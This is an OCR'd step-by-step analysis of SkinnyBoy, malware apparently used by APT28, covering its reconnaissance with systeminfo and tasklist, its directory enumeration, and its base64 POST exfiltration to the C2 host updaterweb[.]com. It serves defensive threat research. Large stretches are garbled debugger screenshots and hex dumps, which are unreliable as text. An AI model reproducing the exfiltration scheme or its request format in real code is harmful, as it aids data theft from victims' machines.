A step-by-step analysis of the new malware used by
APT28/Sofacy called SkinnyBoy

cybergeeks.tech/skinnyboy-apt28/

Summary

The malware extracts configuration information about the machine that it infects using the
systeminfo command, and then it retrieves the list of processes by spawning a tasklist
process. The content of the following directories, along with the processes’ output, is
base64-encoded and exfiltrated to the C2 server updaterweb[.Jcom:

o Desktop folder

e C:\Program Files

e C:\Program Files (x86)

e C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Administrative Tools

o C:\Users\<User>\AppData\Roaming

o C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Templates

o C:\WINDOWS

o C:\Users\<User>\AppData\Local\Temp

The user agent used during the network communication is set to “Opera”, and the following
is the structure of the POST request: “id=<hostname>#Username#<Serial number in
decimal>&current=1&total=1&data=<data to be exfiltrated>". The “cmd=y” command is used
to download a DLL file from the C2 server, which is loaded using the LoadLibraryW API, and
the first ordinal function is executed.

Analyst: @GeeksCyber
Technical analysis
SHA256: ae0bc3358fefOca2a103e694aa556f55a3fed4e98bab7d16f5ae7ad4ad583698

The DLL has 2 exports (DIIEntryPoint and RunMod). We have used rundll32.exe to run the
DLL by calling the RunMod function:

DA View-A ] [O] Hexview-1 0]  [B] structures []  [E] Enums [ mports £ B Exports B

Mame Address COrdinal

' . 6BD71D90

DUEntryPaoint BBD73I365 [main entry]
Figure 1

The malware creates an unnamed event object by calling the CreateEventW API:

1/16


https://cybergeeks.tech/skinnyboy-apt28/
https://twitter.com/GeeksCyber

XB7SW_B O XB7SW.C3 D X87SW.C2 O
? X87SW L1 O XB7SW CO O XB87SW ES O
71DA7 X87TSW_SF 0 XB7SW.P 1 X87SW U O
3 " <aCreateEvent . v

-Text:6BD7IDAB apt28.d17:$1DAE #1148
Woump!  Woump2 EDump3 U Dump 4

Two new threads are created by the process using the CreateThread function:

push 0
push o

ADIIM_T 3 LEILY )

ADS ML 3 LENRILY )

xBTStatusword 0020

X875W_B O xB7TSW.C3 0 x87SW C2 O
X875W.C1 0 xB87SW.CO 0 xB7SW_ES 0O
XBTSW_SF O xB7SW_ P 1 xBFSW.U O

-.!Dm

push o
pllsa 8pt2B.6B8071780
0

r ds:[6BDB1B28],eax

.TexXTt:6BDTIDCE apt28.d11:$1DCE #11CB

oump2z  @oump3  @MDump4  EDumps

. XETTW_6 3 (Empty) XBTTW_7 3 (Emply)
-
. xB75tatusword 0020
. XB7SW_B O xB7SW L3 0O x87SwWC2 O
. XB7SW C1 O xB7SW CO O XBFSW_ES O
. push o KETSW_SF 0 XB7SW_P 1 X875W_U o
. mov_ebx,eax

|
M g

esp+4] 00000000
esp+8] GBD71960 apt28.E&BDT1960
esp+C] 00000000

-text:6BD7IDDE apt28.d11:S1DDE #11DE
$oump1l  @Hpump2 ¥ Dump 3

4% Dump 4

% Dump 5

The GetMessage routine is utilized to retrieve a message from the thread’s message queue:

xB7Statusword 0020
XB7SW_B O xB7SW L3 0 x87sw.C2 0

5h 0 XB7SW_C1 0 xXB75W_C0 O XBYSW_ES O
e:hm.mm ptr ss:Bebp-zof XB7SW_SF 0 XB7SW_P 1 XB7SW.U O
eax P -~ ~

ebx=<user32.GetMessageA> (75CFFCE0)

.TeXt:6BD71D12 apt28.d11:51D12 #1112
@ebump2?  @Houme3d  Whoumps @ &8 watch 1

Ir=llocals 4 Struct

Figure 5

The malicious process enumerates all the messages, and it breaks the loop if the message
is equal to 0x16 (WM_ENDSESSION - inform the application whether the session is
ending):
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il s =

Ltext:eBD71D2L

-text:6BD071021 loc_6BD71D21: ; dwMilliseconds
.text:6BD71021 push 1eaa

.text:6B071D26 call edi ; Sleep

Ltewt:6BD71D28 cmp esi, @FFFFFFFFh
.text:6BD71D2B jz short loc 6BDV1DS9
1

FIE

.text:6BD71D20 cmp [ebpHisg.message], 16h

.text:6BD71D31 jz short loc_6BD71DS59

1 Y
i s Figure 6
.text:6BD71D33 lea eax, [ebp+Msg]
.text:6BD71036 push eax s lpMsg
.text:6BD71ID3T7 call ds:TranslateMessage
.text:6BD7103D lea eax, [ebptisg]
.text:6B071048 push eax 3 lpMsg
.text:6BD71D41 call ds:DispatchMessagel
.text:6BD71D47 push e 3 wMsgFilterMax
.text:6BD71049 push e 3 whMsgFilterMin
.text:6BD71D4B push ] 3 hkind
.text:6BD710D4D lea eax, [ebp+Msg]
.text:6BD07105@ push Eax 3 lpMsg
.text:6B071051 call ebx ; GetMessaged
.text:6BD71D53 mov esl, eax
text:6BD71IDSS test esi, esi
.text:6BD71057 jnz short loc_6BD71D21
L] 1

Thread activity — StartAddress function

The malware creates an anonymous pipe using the CreatePipe API:

- R
658 00 90 01 OO push 13000 el x87Tagword FFFF
glg 85 EO 6F FE FF ;::hegg‘.(mru ptr ss:febp-13020) l:;.m_g ; ‘f:wtyg x:‘__.m_;_ : E:mtyg
19014 HBTTH_ LEmpty XBTTW_ mpTy
St beibEes ;::h’:;;m"d prr ss:liebp-190148 XB7TW_4 3 (Empty) x87TW_5 3 (Empty)
80 85 FO &F FE FF lea eax,dword ptr ss<:febp-19010) XBTTW_6 3 (Empty) x8TTW_7 3 (Empty)
50 push eax
8B FA mov edi,edx x875tatusword 0000
8B F1 mov esi,ecx esi X87SW_B O XxBTSW C3 0O xB7SW._C2Z O
C7 BS ED &F FE FF OC 00 0O0mov dword ptr DC: XB7SW_C1 0 XB7SW CO O xB7SW_ES 0O
€7 BS E4 6F FE FF 00 DO 00 mov dword Dtr XBTSW_SF 0 XBTSW_P 0 x87TSW_U o
C7 85 E8 &F FE FF 01 00 ”‘122%"3.'}33: R : .
FF 15 58 BO D7 &8 pEr ds: mreate?we: v
Tisamprem ca) dwrd 5 Locfat stca EEEE
1: [esp] D2F56924
dword ptr [GBDTBO5SS <apT28.4CreatePipes]=<kernel32.CreatePipes 2: €5:+4 02F56920
3: [esp+8] 0D2F56914
41 {espa-c] _oooasoOO

.text:Gw?i_J.IQ apt28.d11:51119 #519
' 15 o a b 9 02F56924

|A::|r[:|.’n:1muramz 2% Dump 3 % Dump 4 9% Dump 5 |A2;:tm’. [ lLlr.»ds 4 Struct m::w

02F56914 i€ 00 00 00[00 00 00 00[01 00 00 0O[00 OO0 0D 00| R, ..cccuusrnnnss |u,.\, F0n | mnrae £DRTATEN

Figure 7

GetStartupInfoA is used to retrieve the content of the STARTUPINFO structure from when

the calling process was created:

ush eax : XB7SW_SF 0 XB7SW.P 0 X87SW_U 0
c aS 94 6F FE FF 44 00 munov dword ptr z-- Febp-1306C], 4 41 | e
|€al1 dword ptr ds: [-r&G-etStarruDInfoAb] v ==
T | Defouit (stacal) >[5 1% ][] uniock
b iz Euaj 02F568CE
‘dword ptr '[681:;5054 <apt2s.&GetstartupInfoa>]=<kernel32.GetstartupInfoa> 2: [esp+4] 6BD71780 apt28.6BD71780

3: [esp+8] 6BD717B0 apt28.6BD71780
4: [esp+C] 00000000
.Text:EBD7114D apt28.d171:§114D #s4D L -
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The binary creates a new process that runs the systeminfo command, which displays
configuration information about the computer and its OS:

50 push eax eax: "systeminf X87r7 00000000000000000000 STT Emp
8D 85 94 &F FE FF lea eax,dword ptr ss:[febp-12306C]

50 push eax eax; "systeminf xB7Tagword FFFF

hted push. XB7TW_O 3 (Empty) XBTTW_1 3 (Emg
6A 00 gush ‘ XB7TW_2 3 (Empty) NBTTW_3 3 (Emg

EA O1 SiiEh 4 x87TW_4 3 (Empty) xB7TW.5 3 (Emp

6A 00 push 0 X87TW_E 3 (Empty) XB7TW_7 3 (Emg
6A 00 push 0

BD BS F4 E&F FE FF Tea eax,dword ptr ss:febp-13o00c] [ebp=-1900C] :Or xB75tatusword 0000

S0 push cax eax: "systeminf MB7SW_B D xB7SW C3 0 XxBFSw C2
6A 00 pus XB7SW_C1 O xXB7SW.CO O xB7SW_ES
C7 B85 AD 6F FE FF 30 _EE D7 mov o»oru p\:r T eﬂc 28.6BDTEE30 [word ptr [ebp XB7TSW_SF 0 XB7SW_P O X87SW_U
C7 85 CO 6F FE FF 01 01 r‘r.umuv Mrdap 553 R G =

FF 15 50 BO D7 68 ptr ds: [sw?snso CreateProcessa v

esp] 00000000

2: [esp+4] 0D2F56928 "systeminfo”
3: esp+8] 00000000
4: [esp+C] 00000000

s
dword ptr [apt2s.6BD7BOS0]=aclayers.BGAC34E20

-Text:6BDT1181 apr28.d11:51181 #581

Woump1  Phoump2 Woump3  @Dumps  @Dumps @ watch1  [sellocals Y Struct

ASCII
|D . Bne. (.U.0Txk

ai 0C FD 08
O2F568D8( 00 00 00 00(00 00 00 00(00 00 00 00|00 00 OO 00
DZFS568ES( 00 00 00 00|00 OO0 00 00|00 0D 00 00|01 O1 00 00|
OZF568FE&(00 00 00 00|00 00 0O OO(B8 02 00 OO|BC 02 D0 OC
02F56908( 8C 02 00 00|00 OO0 00 00|00 OO 0O 0O|OC OO OO
D2F56918( 00 00 00 00(01 00 00 0O(8C 02 00 00|88 02 0O

nacceanel 73 7a 73 valer en za eclec g2 nn nnlan an an

Figure 9
The pipe created earlier is used as an inter-process communication mechanism. The output
of the systeminfo command is read via a ReadFile function call:

push o
push ebx xB7Statusword 0000
push esi XBTSW_B O xB7SW.C3 0 xB7SW.C2
push eax NBTSW_C1 0 xXB7SW.CO O XB7SW_ES
pushd::uad ptrd.. f;b? :rl 1 | NB7SW_SF O XBTSW_P D )(B’Sw u
mov rd ptr ds:[ mmmia s anem S
| €all dword ptr dsi[muﬂﬂ!u] ]
= :hﬁsmﬂ} - * |5 131 unlod
dword ptr [EBD7BO3C <apt25.&ﬁeudF1'Tu]-(kern:'l!Z,ReadFﬂe; 28 ::g‘.,; 02F 98080
3: [esp+s] 00000973
4: lesp+c] ozFeFsso
.Text:6BD7122C apt25.d11:5122C #62C =

@Woump1  @hoump2  @oump3  Phoumps  @oumps @ wathi  (xelloeak ) stue D3FE6858 m:
Address 1. [uxn | ~ | 92F58683C | DODOOST S
|02F95050 00l 00 00 n[ 00 00 00 nul 00 00 0O DO[00 00 0O |)U IIIIIIIIIIIIIII |g:§m O2F6F960
Figure 10

Address | Hex ASCIT

02F980B0 | DD 0UA 48 GF |73 74 20 4E|61 6D 65 3A|20 20 20 20|..HOST Name:
02F980CO| 20 20 20 20|20 20 20 20 44 45 53 DES
0ZF980D0| 48 54 4F 50(2D 32 43 oo oA 4F 53| kTor-2dJii}- - os

02F980E0| 20 4E 61 6D |65 3A 20 20(20 20 20 20|20 20 20 20( Mame:

02F980F0| 20 20 20 20|20 20 20 20(20 4D 69 63|72 BF 73 G&F Microso
02F98100( 66 74 20 57 (69 B6E 64 6F |77 73 20 31|30 20 45 6E|ft windows 10 En
02F98110| 74 65 72 70|72 69 73 &5 |0D OA 4F 53|20 56 65 72| terprise..05 Ver
02F98120(73 6% 6F GE|(3A 20 20 20|20 20 20 20|20 20 20 20|sion:

02F98130| 20 20 20 20|20 31 30 2E(30 2ZE 31 36|32 39 39 20 10.0.16299 F]gure 11
O2F98140| 4E 2F 41 20(42 75 6% 6C|64 20 31 36|32 39 3% OD|NSA Build 16299.
02F98150|0A 4F 53 20|4D 61 6E 75 (g6 61 63 74|75 72 65 72 .DS Manufacturer
02F98160| 2A 20 20 20|20 20 20 20(20 20 20 20|4D 62 63 72 Micr
02F98170|6F 73 6F 66|74 20 43 &6F (72 70 6F 72|61 74 69 &F DSth Corporatio
02F98130| 6E 0D OA 4F |53 20 43 6F(6E 66 69 67 |Z5 _F2 61 74 .05 Configurat
02F981%0| 6% &6F &E 2A |20 20 20 20(20 20 20 20|20 20 02 74 fDﬂ: 5t
02F981A0| 61 6E 64 61|(6C 6F G6E 65|20 57 6F 7Z|6B 73 74 61| andalone worksta
02F981B0| 74 6% 6F GE(OD OA 4F 53|20 42 75 63|6C 64 20 54| tion..05 Build T
02F981C0O| 72 70 &5 3A |20 20 20 20|20 20 20 20|20 20 20 20|ype:

02F981D0( 20 4D 75 6C|(74 69 7O F2|6F 63 65 73|73 6F 72 20| Multiprocessor

The list of processes is retrieved by creating a new process that runs the tasklist command:
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push eax eax:"tasklist”

X87r7 00000000000000000000 ST7 Emg
lea eax,dword prtr ss:[febp-1306C]

50
8D BS 94 &F FE FF
50

eax:“tasklist” | wgrTagword FFFF

64 00 XB7TW_0 3 (Empty) x87TW_1 3 (Emg

: o :::: 9 X87TW_2 3 (Empty) X87TW_3 3 (Emg
EA 01 push 1 X87TW_4 3 (Empty) X87TW.5 3 (Emg
6A 00 push o XB7TW_6 3 (Empty) XB7TW_7 3 (Emp
64 0D l,""’" 0

80 85 F4 &F FE FF ea eax,dword ptr ss:febp-1200C] x875tatusword 0000

50 push eax eax: "tasklist" XB7SW_B 0 xB7SW.C3 0O x875W.C2
64 00 ®XB7SW_C1 0 x87SW_CO O xB7SW_ES

n
-
o
wn

AD &F FE FF 30 ebp- 19061
€0 6F FE FF 01 01 ebp-1904

6BDTBOS |
T il S~ — e m [

dword ptr [Apt2s.GED7BOS0]=ACIAyers. BAC34E20

[word ptr [ebp 0 X87SW_U

,Apt28. GBDTEE3D XB7SW_SF 0 XB7SW_P
101 |

&

|

.Text:6BDT11B1 apt28.d11:51181 #581
ﬁmmz ﬁl:uva ﬁl:um‘i

.tasklist.o..

The output of the tasklist command is transmitted to the main process using the ReadFile
API:

push o

push ebx
push esi
push eax

xB7Statusword 0000
XB7SW_B 0 xBTSW.C3 O x875wW_C2
XB7SW_CL 0 xB7SW.CO O xB7SW_ES

50
FF BS FO 6F FE FF

i M push dword ptr ss:febp-13010§ XB7SW_SF O XB7SW_PF O XB7SW_U
| . 89 07 mov_dword ptr ds:[edi],eax = :
I : ord pEr s [<akeadk11e>

e

dword ptr [GBDTBO3C <apt28,&Readrile>l=<kernel3z.Readriles

.TEXT:GEDT122C apr2s.d11:$122¢ we2C
4% Dump 1

Dump?  @WOump3  E4Dump4  UHDumps & wath1  Ivellocsls ) Stuct

Figure 13

0O2F98A38 0A 49 6D |61 &7 65 20|4E 61 6D &5 |20 20 20 20(L. Image Mame
02F98A48| 20 20 20 20|20 20 20 20(20 20 20 20|20 20 20 20
02F98AS8( 20 50 49 44(20 53 65 73|73 69 6F 6E |20 4E 61 60| PID Session Nam
0ZF98A68| 65 20 20 20|20 20 20 20(20 53 65 73|73 62 6F &E Session
02F98AF8| 23 20 20 20|20 4D 65 6D (20 55 73 61|67 65 OD OA Mem Usage..
02F98A88| 30 3D 3D 2D |3D 3D 3D 30 (3D 3D 3D 3D(3D 3D 32D 3D
02F98A58| 3D 3D 3D 2D |3D 3D 3D 20(3D 20 3D 3D(3D 3D 3D 3D
02F98AA58| 3D 3D 20 3D |30 3D 3D 3D (3D 3D 3D 3D (3D 3D 3D 3D | == =============

02F98ABEB| 3D 3D 3D 20|30 3D 3D 3D(3D 3D 3D 3D (3D 3D 3D 20| === =========== Figure 14
02F98ACE| 3D 3D 3D 3D |3D 30 3D 3D(3D 3D 3D 3D(0D OA 53 79| =———————=,.5¥
02F98ADB(73 74 65 6D (20 49 64 BC |65 20 50 72 |6F 62 65 73 |stem Idle Proces

02ZF98AES| 73 20 20 20|20 20 20 20|20 20 20 20|20 20 20 30(s o

02F98AF8( 20 53 65 72 (76 69 63 65|73 20 20 20|20 20 20 20| Services

02F98BO8| 20 20 20 20|20 20 20 20(20 20 20 20|30 20 20 20 o

02F98B18| 20 20 20 20|20 20 20 38|20 4B 0D OA|RZ JO 73 74 8 K..S5yst

0ZF98B28| 65 6D 20 20|20 20 20 20(20 20 20 20(20 20 20 20| em

02F98B28| 20 20 20 20|20 20 20 20(20 20 20 20(20 34 20 53 4 5
0ZF98B48(65 72 76 69(63 65 73 20|20 20 20 20|20 20 20 20| ervices

0Z2F98B58| 20 20 20 20|20 20 20 20(20 20 30 20|20 20 20 20 o

The binary gets the path of the Desktop folder using the SHGetFolderPathW routine:

W

x87statusword 0000

XB7SW_B O xB7SW_ C3 0O xB7S5wW _C2
XB75W_C1 O xBTSW.CO O xB7SW_ES
XB7SW_SF 0 XB7SW_P 0 xB87SwW_U

.TEXT:6BDT14D3 apr28.d11:$14D3 #8D3

Duml Woump2 @MDump3 G Dump4

Figure 15
The process enumerates the files/directories from the Desktop directory using the
FindFirstFileW and FindNextFileW functions:
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50
BD 85 B4 FD FF FF
50

push eax

lea eax,dword ptr ss

:febp-24C)

eax:L"Ci\\User

HBTSW._C1 0O XxB7SW.CO 0O xB7SW_ES

XB7SW_SF O xB75W_P

0 X87TSW_U

push eax sl eax:L Ci\\User ey
FF 15 60 B0 D7 68 call dword ptr ds:[<&FindFirstFilew=] =
153 s gy e : Defauit (stdcal) v [5 12100 Unlod
Gword pIr [€BD7B060 <apta8.&FindFirstrilews]=<kerne13z.FindFirstrilens P e R ——
3: [esp+d] €ED71780 apt28.E8D71780
,text:6BD71526 apt28.d11:51526 #926 H" LESDECE S0 2150 Birt o8 bEL/3 50
“Woump1  Gpump2  YHDump3  HDump4  WDumps @ watch1  IxlLecals # struct mgs:gﬁg[L-é:\\ls&s“-“bénﬁ“w
Figure 16
. S0 push eax XBTSW_SF O XB7SW_P 0 XxB7SW_U
. ;: :; ;i Fms an= FﬁnF S:i-ﬁ' g«.:;g ;E; S [caF mﬂNlanm] ‘ =
B v -
- 3 5 | Default (stdcal) ~|[5 5] 0] uriod
dword ptr [68D “<apt28.&FindNextrilews]=<kernel3z. FindNextriTem o {::pl,§°§ggg§295
3z CSD-‘-SJ 6BDT1780 apt2s. 580:1 80
.teltls.m."lﬁ?ﬂ GDEZE.P'.”:SJ.E?O #ATO |.‘ eSMJ SBD?L 80 80(28 SBD L 80
@Woump1  @oump2  EMDump3  Woump4  Eoumps @ watchi  Irellocas ) stuct M[
Figure 17
The binary adds 18 characters of “#” before and after the folder name, as following:
Address | Hex ASCII
02F97880| 23 00 23 00|23 0O 0023 00 23 00 | #.#.#. 8.8 . 8.4, 4.
02F97890| 23 00 23 00|23 0O 0023 00 23 00 | #.#.#. 8.8 . #.84. 4.
02F978A0| 23 00 23 00|43 0O 00|73 00 65 00| #.#.C g SR
D2ZF978B0|72 00D 73 OD|SC OO 00|5C 00 44 0O|r s.xﬂ.\.n.Flgure 18
02F978C0| 65 00 73 0OOD|6EB 0O 74 0OO0|G6GF 0O 00 |5C 00 2A DO|e.s.k.E.o.p.\-*.
02F97800| 23 00 23 00|23 00 23 00|23 00 23 00|23 00 23 00 |#.#.#.#.#.#. 8.4,
02F978E0Q| 23 00 23 00|23 00 23 00|23 00 23 00|23 00 23 00 |#.#.#. 4. 4. #. 8.8,
02F978F0O1 23 00 23 000D OO OA QOIOD OO OA ODIOD OO0 OO OOl #.#. . . i s it eanas

The list of files and directories extracted before is concatenate

shown in figure 19:

o

The following directories are also targeted by the backdoor: “C \Program Files”,

Address | Hex ASCII

02F971A8 |23 | 00 23 00|23 0D 23 00|23 00 23 00|23 0D 23 0D |#.#.4. 8. 8. 8. 8. 8.
02F971BS8| 23 00 23 00|23 00 23 00|23 00 23 00|23 00 23 00 (#.#.#. 8. #.#.#. 8.
0ZFS71C8| 23 00 Z3 00|43 00 ii ii ii ii ii 00|73 0D 65 00| #.#£.C 4 R
02F971D8 |72 00 73 00 |5C 0O 00 (5C 00 44 DO|(P.5.% e W I
02F971ES(65 00 73 00|GB 00 74 00|6F OO 70 OO0|5C OO0 2A OO0|(e.s.K.T.0.pP.%N.*.
02F971F8 |23 00 23 00|23 0D 23 00|23 00 23 00|23 0D 23 0D | #.#. 8. 8. 8. 8. 8.8,
02F97208 |23 00 23 00|23 0D 23 00|23 00 23 00|23 0D 23 00| #.#. 4. 8. 8. # .48,
0Z2F97218| 23 00 23 0O0|0OD OO OA OD|OD OO0 O0A OQO(30 OD 61 00| #.#. v eeaa0.8.
02F972258| 30 00 &3 00|32 00 32 00|35 00 66 00|30 OO &5 0OO|0Q.c.2.2.5.T.0.8
02F97238| 35 00 &5 00|65 OO 39 00|34 00 31 0O|61 OO 37 0O(5.2.2.9.4.1.8.7.
02F97248| 39 00 66 00|32 0D &2 00|37 00 37 00|30 00 31 OQO|9.FT.2.b.7.7.0.1.
02F97258| 66 00 21 00|22 00 38 00|35 00 &5 00|34 00 329 0O0O(FT.1.2.8.5.&.4.9.
0ZF97268| 37 00 35 00|61 00 32 00|38 00 35 00|32 0D &5 00| 7.5.8.2.8.5.9.e.
02F97278| 62 00 34 00|64 00 30 00|32 00 35 00|64 00 39 00|(b.4.d.0.2.5.d.9.
02F972858| 36 00 &4 00|39 00 &5 00|33 00 36 00|36 00 65 OO|6&.d.2.e.3.6.6.2.
02F972958| 35 00 31 00|61 00 &2 0OD|62 OO 39 0O0D|2E 00 62 00(8.1.8.b.b.9...0.
02F972A8| 69 00 6E 00 |2E 0D 73 00|61 0O &D 00|70 OO &C 0O T.n...s.a.m.p.I.
02F972B8| 65 00 2E 00|67 OO0 7A OO|OD OO0 OA OO|00 OO0 OO0 OO0 E...0.Fe.usennns

. [Figure 19

Files (x86)", “C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start

Menu\Programs\Administrative Tools”
<User>\AppData\Roaming\Microsoft\Windows\Templates”,

, “C:\Users\<User>\AppData\Roaming”
“C:\WINDOWS” and “C:\Users\

with the above string, as

“C:\Program

, “C:\Users\

<User>\AppData\Local\Temp”. The SHGetFolderPathW function is utilized to obtain some of
these folder names (0x2a = CSIDL_PROGRAM_FILESX86, 0x30 = CSIDL_ADMINTOOLS,
Ox1a = CSIDL_APPDATA, 0x15 = CSIDL_TEMPLATES and 0x24 = CSIDL_WINDOWS):

push ecx
push
push
push eax

push
call dword ptr ds:[<aSHGetFolderPathw=]

XB7SW_SF 0

xB7Statusword 0000
XBTSW_B O xB7SW.C3 0 x8TSW.CZ O

XBTSW_P 0 xB7SW_U

XB7SW_C1 0 xB7SW.CO 0 xB7SW_ES O

o

,v mmn&mm

1: [esp

-Text: 68D714D3 apt28.d11:514D3 #8D3

“dword pIr [GBOTBL98 <APT28.ASHGETFOIdEr PATHW-]=<shell3Z. SHGETFOIderPATNG

23 Lesp+4 o
3: CSDY54 o
3 lesprc o
|5: [esp+i0]

@oump1  PhDuwmp?  @WDump3  @eDumpd  @4Dumps @ wathi  lellocals 4 Struct TozFerarn moooccm}
Address | Hex |AscII | ~l
02F6F762| 31 00 f__-l_\ 00|30 bl. oo '.\':\ | ;\i 'JI. I:":' "'.'l D0 01 '.'f__' ':_".\l P P T T | gﬁ:::ﬁg m l

* [5 2] unlock

0000024
0000000
0000000
02F6&F770
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xBT7Statusword 0000

XB7SW_B 0 xB7SW.C3 0 xB7SW L2 O
xB75W_C1 0 xB7SW_CO 0O xB7SW_ES 0O
XB7SW_SF 0O KB?“ P o

00000000
.Text: 68071403 apt28.d171:514D03 #8D3 5&501 02FEF770

$80ump1  $HDump2  Eoump3  EDump4

XE/STATUSWOra uvuuu

XB7SW_B 0 x87SW.C3I O X87SWL2 O
XB7SW_C1 O xB7SW CO O XxB7SW ES 0O
XBTSW_SF O XBTSW_P o

00000000
-text:SBD714D3 apt28.d11:$14D3 #8D3 esp+10] D02FEF770
@oump2  Woump3  YDump s

xBT7Statusword 0000

XB7SW_B O xB7SW.C3 0 xB7SW C2 O
x875W_C1 0 xB7SW_CO 0O xB87SW_ES 0O
XB7SW_SF 0 xBYSW_P 0O xB7SW_U O

00000000
LTextT:6BD714D3 apt28.d11:51403 #80D3 esp+10] 02FEF770

ﬂDuml @Wouwmp2 @Woump3  EEDumps P Dumps

?SZSIWMWJEWCSMS‘DDDUOODOMDUMI

xBT7Statusword 0000

XB7SW_B O xB7SW.C3 0 xB7SW C2 O

x875W_C1 0 xB7SW_CO 0O xB87SW_ES 0O
XB7SW_SF 0 xB7SW_P o

00000000
LTextT:6BD714D3 apt28.d11:51403 #80D3 esp+10] 02FEF770

Woump!  MDump2  @Dump3  @MDump4 MDumps ﬂm: s Locals

DZFSF?SZ 31 00 DO DOlE 00 45 00|54 00 OO 0O 0001 00 00 .'l i W B e

Figure 24
The GetTempPathW API is utilized to retrieve the path of the % TEMP% directory:

0 X87SW_U O

02F6F770
6BDT1780 apt28.6BDTL1TED

GBD71780 apt2B.EGBDT17ED
10] 00000000

.TeXT:GBD714E7 apt28.d11:$14E7 #BE7

@oump1  @ioump2 WHoump3  @loump4  EHoumps M werchi  Iellocls 4 Stuct

Figure 25
The file initializes the use of the WinINet functions using the InternetOpenW API (the user
agent is hard-coded as “Opera”):

x87Tagword FFFF

XBFTTW_O 3 (Empty) xB87TW_1 3 (Empry)
X8TTW_Z 3 (Empty) XB7TW_3 3 (Empty)
X87TTW_4 3 (Empty) NB7TW.S 3 (Empty)
XBTTW_6 3 (Empty) xBTTW_7 3 (Empty)

xB75tatusword 0000

X87SW_B O xB7SW.C3 0O x87SW.C2 O
XB7SW C1 0 XB7SW CO 0O xB7SW ES 0O
XBTSW_SF O xB7SW_P O xB7SW_U o

-text:6BD72955 apt28.d11:$2955 #IDSS
oump2 %Dump3  EWDump4

B watch 1

!i 2D 20 2D 20 ZD Zl} 20 20 ZU 2I:l 20 ZD 31 ZD 20 ZU

Figure 26
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The send and receive timeouts are set to 600 seconds using the InternetSetOptionW routine
(Ox6 = INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT and 0x5 =
INTERNET_OPTION_CONTROL_SEND_TIMEOUT):

€A 04 push &
8D 85 EC FE FF FF lea eax,dword ptr ss:febp-114] x875tatusword 0000
50 push eax XB7SW_B 0 XB7SW.C3 0O XB7SW C2 O
6A 06 push & X875W_C1 O X87SW_CO O XB7SW_ES 0O
EE push esi esi:L" XBTSW_SF 0 NXB7SW_P 0O XB7SW_U o
C7 85 EC FE FF FF €O 27 0Simov dword ptr ss:[febp-114],3927Cc
FF D7 call edi edizIne =
. reey ey » | Default (stdcal) ~ |[5_[] 0] undock
i — - = 1t E ] DOCCODOS LTAT™
edi=<awininet. Internetsetoptionw> (71755680) I ::g+4] 00000006
[esp+8] D2FEFBAD
es| 00000004
-Text: 68072988 apt28.d11:52958 #1D8B |5 Eesgﬁnj G6BD71780 apt2s.GBD71780
= e DOCCODDS | L AT
Woump1  @pump2  @MDump3  WDump4  Woumps @ watchi  I-llocals 4 Stuct '02FEFBS 4| 00000006 S
Tasciz - T |,\| 02FGFE58 O2FEFSAD
[ e e TORMERRERRERT o 00 0o 00 e £2 ro-axTin anra GalRE 220 o0 '~ |oarerescioomonoes |
T 64 04 push 4 x87Statusword 0000
] - BD B5 EC FE FF FF lea eax,dword ptr ss:[febp-114] XB7SW_ B O xXB7SW C3 O xB7SW C2 O
[ 50 push eax X87SW_C1 0 XB7SW.CO O X87SW_ES O
[ 64 05 push 3 XB7SW_SF 0 xB7SW_P O X87SW. U O
s 56 ush esi 3
e o7 an GE
N P Default (stdcal) » |5 2] unlocke

edi=<wininet. INTernetsetoptionw> (71755680)

+C] 00000004
.Text:EB072999 apt28.d11:52999 #1D99 5: ::21—1%] 68071780 apt2s.68071780
@hoump1  gHouwmp2  @Dump3  Wloump4  Uloumps @ wawhi  belLocals 4 stuct sl AT
|Aasciz =i |~
|02F6st!co 27.09.00] 04 00 00 De:w:w|ﬁ., gy == e B bt e

Figure 28
The malicious process establishes a connection to the C2 server updaterweb[.]Jcom on port
443:

) i AB ML 3 LEMMLY)  AG/ 1ML 3 LEMMLYJ]
2: 3,1; :::: 0 x87TW_6 3 (Empty) X87TW_7 3 (Empty)
! 6A 03 push 3
i 6A 00 push 0 x87statusword 0000
i 64 00 push 0 XBTSW_ B O xB7SWC3 0 xB7SWECZ O
| 68 BB 01 00 OO push 188 KETSW.C1 O XB7SW.CO O XB87SW_ES O
H FF B5 CC FE FF FF push dword ptr ss:febp-1343 | [ebp-1 XBTSW_SF O XBTSW_P 0 XB7SW_U o
: i TR (o | |ty
Fig——————— FF 15 €C Bl D7 &8 kﬁ dword ptr ds:[<aInternetConnectiv=] ! v ff —
! B o - 5 | Defaut (strcal) » [s '] unlock

: [k
2: [esp+4] GBDTEFOC L“updaterweb.com”
3: [esps+8] 0D000DO1BB
4: [esp+C]

5: [esp+10] 00000000

dword ptr [EBDTBICC <ApT28.AINTernetConnects]=<wininet.InternetConnectns
-Text: 68072987 apt2s.d11:52987 #1DB7

Woump1  @loump2  YMDump3  WWoump4  EDumes @ wachi  bellocals 4 Stuct

0ZF6FBAOD CONZF 08 004 0A 00 00 00 EQ F7 FE& 02 (10 AB F9 02

SR s s @20, Jull,
02F6FEBO0| G2 FD F& 02| 22|95 48 38 28(FE FF FF FF | hyd.Pj.w. HE(BYYY
02FEFBCOI B0 FS FE 02 A0 E0 OL 77 |55 1 FA 02189 24 O7 00| ud. a.w..U..5..
02F&FBDO | il |00 00 0O OO0 At Ad.w. ... X+

nseeesenl nn An An anlan Aan BY A% laa Aan an nnlaaT an nn A =

Figure 29
The NetBIOS name of the local computer is retrieved using the GetComputerNameA API:

50 ush eax XB7SW.B O xB7SWC3 O xB7SW.C2 O

8D 85 58 FB FF FF ea eax,dword ptr ss:Qebp-2a5) XBTSW_C1 O xBTSW_CO O xB7TSW_ES O

50 push eax XBTSW_SF 0 XBTSW_P 0 XB7SW_U o

C7 85 54 FB FF FF 04 01 00\mov dword ptr ss:|febp-4ach,104 Rt S

FF 15 S0 BO D7 6B call dword ptr ds:[<4GetComputerNameAs] | [ =

r s e e G ' | efat sl =15 B0 o
e s v D2FEF3A8
dword ptr [GBD7BO90 <apt2s.&GeTCompuTerNameA>]=<kernel32. GeTtComputerNameA> |ES :g“ 02FEF3A4

3: [esp+8] 00CCOO04 LTAT™
_ 4: [espsC] TEBAT4FLD <kernel32.GetLastErrors
.text:EBD721C8 apt28.d11:$21CE #1SC8 ||5: [esp+1D] 7052454C winhttp.7052454C
@) OZFGF3AB |

